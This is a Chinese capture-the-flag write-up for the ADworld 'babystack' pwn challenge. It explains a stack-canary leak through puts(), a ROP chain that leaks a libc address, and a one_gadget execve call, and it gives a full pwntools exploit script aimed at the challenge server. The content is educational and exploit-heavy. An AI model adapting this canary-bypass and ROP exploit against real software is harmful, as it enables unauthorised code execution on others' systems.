ADworld pwn wp - pwn1

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

不过问题在于开了canary所以溢出有难度, 不过v6是canary保存的变量, 而且栈位置在s数组的高位, 所以可以通过puts()泄露出canary, puts函数是打印直到’\0’字符为止, 所以溢出可行, 劫持执行流到ROP泄露puts函数地址, 计算出libc基址, 然后调用execve()
这里用one_gadget, 坑点在于记得计算服务器上的execve地址

在这里插入图片描述

from pwn import *
from pwnlib import context
from pwnlib.util.cyclic import cyclic

context.log_level = "debug"
URL, PORT = "111.200.241.244", 53919
sel = 0
io = process("./babystack") if sel == 0 else remote(URL, PORT)
pad = 0x88
pop_rdi_addr = 0x0000000000400a93
ret_addr = 0x000000000040067e
elf = ELF("./babystack")
libc = ELF("./libc-2.23.so")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
puts_symbols = libc.symbols['puts']
main_addr = 0x0000000000400908
execve = 0x45216

payload1 = b'z' * (pad - 1) + b'y'
io.sendlineafter(">> ", "1")
io.sendline(payload1)
io.sendlineafter(">> ", "2")
log.info(io.recvuntil(b'zy\n'))
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.info("canary leak success: %#x", canary)
io.sendlineafter(">> ", "1")

payload2 = cyclic(pad) + p64(canary) + cyclic(8) + p64(pop_rdi_addr) + p64(puts_got)
payload2 += p64(puts_plt) + p64(main_addr)
io.send(payload2)
io.sendlineafter(">> ", "3")
puts_addr = u64(io.recv(8).strip().ljust(8, b'\x00'))
log.info("puts address leak success: %#x", puts_addr)

libc_base = puts_addr - puts_symbols
execve_addr = libc_base + execve
payload3 = cyclic(pad) + p64(canary) + cyclic(8)
payload3 += p64(execve_addr)

log.info(io.recv())
io.sendlineafter(">> ", "1")
io.send(payload3)
io.sendlineafter(">> ", "3")
io.interactive()

在这里插入图片描述

总结

如果本地开了其他检测机制, 可能打不通
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值